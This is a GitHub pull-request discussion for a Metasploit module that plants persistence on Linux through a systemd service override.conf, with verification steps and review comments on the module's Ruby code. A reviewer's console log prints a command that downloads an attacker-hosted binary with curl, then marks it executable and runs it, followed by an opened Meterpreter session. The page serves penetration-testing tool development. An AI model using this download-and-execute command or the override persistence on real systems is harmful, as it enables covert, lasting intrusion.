Skip to content

Conversation

h00die
Copy link
Contributor

@h00die h00die commented Sep 11, 2025

Apparently theres a way to overload systemd services with an override.conf file in /etc/. Did you know that? I didn't. Well, now theres a module to exploit it. You need root which is suboptimal, and systemctl status shows your session being execute, but it also doesn't overwrite or create a NEW service, so its fairly stealthy?

Verification

  • Start msfconsole
  • exploit the box somehow (ssh_login for instance)
  • get root
  • use exploit/linux/persistence/init_systemd_override
  • set SESSION <id>
  • exploit
  • Verify persistence is created, and you get a new session if service is restart
  • Verify cleanup works
  • Document is updated and correct

Copy link
Contributor

@msutovsky-r7 msutovsky-r7 left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Found a bug while testing:

msf exploit(linux/persistence/init_systemd_override) > check
[-] Exploit failed: NoMethodError undefined method `arch' for nil:NilClass
[-] Check failed: The state could not be determined.
msf exploit(linux/persistence/init_systemd_override) > run verbose=true 
msf exploit(linux/persistence/init_systemd_override) > run verbose=true [*] Command to run on remote host: curl -so ./LkgearXBzOrm http://192.168.3.7:8080/xjLe7cHOrd0bJcg1JEoaHQ;chmod +x ./LkgearXBzOrm;./LkgearXBzOrm&
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

msf exploit(linux/persistence/init_systemd_override) > [*] Fetch handler listening on 192.168.3.7:8080
[*] HTTP server started
[*] Adding resource /xjLe7cHOrd0bJcg1JEoaHQ
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
[*] Backup copy of /etc/systemd/system/ssh.service.d/override.conf stored to: /home/ms/.msf4/loot/20250915163508_default_10.5.132.164_etcsystemdsys_925722.txt
[*] Writing override file to: /etc/systemd/system/ssh.service.d/override.conf
[*] Reloading ssh service
[*] Client 10.5.132.164 requested /xjLe7cHOrd0bJcg1JEoaHQ
[*] Sending payload to 10.5.132.164 (curl/7.81.0)
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/10.5.132.164_20250915.3514/10.5.132.164_20250915.3514.rc
[*] Meterpreter session 4 opened (192.168.3.7:4444 -> 10.5.132.164:54192) at 2025-09-15 16:35:16 +0200

Not sure why, but seems like check method is broken - will investigate more.

@msutovsky-r7 msutovsky-r7 self-assigned this Sep 16, 2025
['systemd user', {}]
],
'DefaultTarget' => 0,
'Arch' => [
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You may want to check out other arches like MIPS64 and PPC64

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

good point. this list is synced across the non-windows persistence modules, so I think it'll be easier to just do one update and get them all at once. Maybe open a new issue and assign it to me to do that and i'll get to it when the rest of these are landed.

end

def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like a non-issue for ARCH_CMD payloads?

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On second thought, the check method may not be the best place for this. I feel like the check method should only verify a vulnerability exists.
Checking for the /tmp option should probably be done outside the check method, as that's a module setting?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This seems like a non-issue for ARCH_CMD payloads?

correct, however this has been discussed a few times (@dledda-r7 can provide info) and the potential solution was #20497 (review), however, payload isn't initialized in the check method so it will error out. Another module with another r7 reviewer on one of the persistence modules had this issue (can't seem to find it right now).
However, its still a valid warning, if you delayed starting the service and the host was rebooted, when the service came back up your payload would be gone.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

On second thought, the check method may not be the best place for this. I feel like the check method should only verify a vulnerability exists. Checking for the /tmp option should probably be done outside the check method, as that's a module setting?

I think the check method is the right place. If we move it to exploit the user will get the warning, then have like <5seconds to read it, interpreter it, and job -k #. That is VERY unlikely to happen in time, and w/o things being written to the system. So I think check is the right place, especially because its a warning and not a fail and the risk can be evaluated by the user.


unless exists?(service_dir)
vprint_status("Creating #{service_dir}")
cmd_exec("mkdir -p '#{service_dir}'") # don't use mkdir because it does a register_dir_for_cleanup that we don't want, or it ruins persistence
Copy link
Contributor

@bwatters-r7 bwatters-r7 Sep 18, 2025

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This will fail if there's an errant tik or space, so we are avoiding cmd_exec. Check out the new create_process where we separate the args as an array: https://github.com/rapid7/metasploit-framework/blob/05273263c9b5723dc591f81e18b204a2cbd078d6/test/modules/post/test/cmd_exec.rb#L219C16-L219C109

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This is a copy of what happens with the library, so its arguably no worse than mkdir with a shell. https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/post/file.rb#L132


if datastore['ReloadService']
vprint_status("Reloading #{datastore['SERVICE']} service")
cmd_exec("XDG_RUNTIME_DIR=#{systemd_socket_dir} systemctl restart #{datastore['SERVICE']}.service")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Same as above for cmd_exec

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

3 participants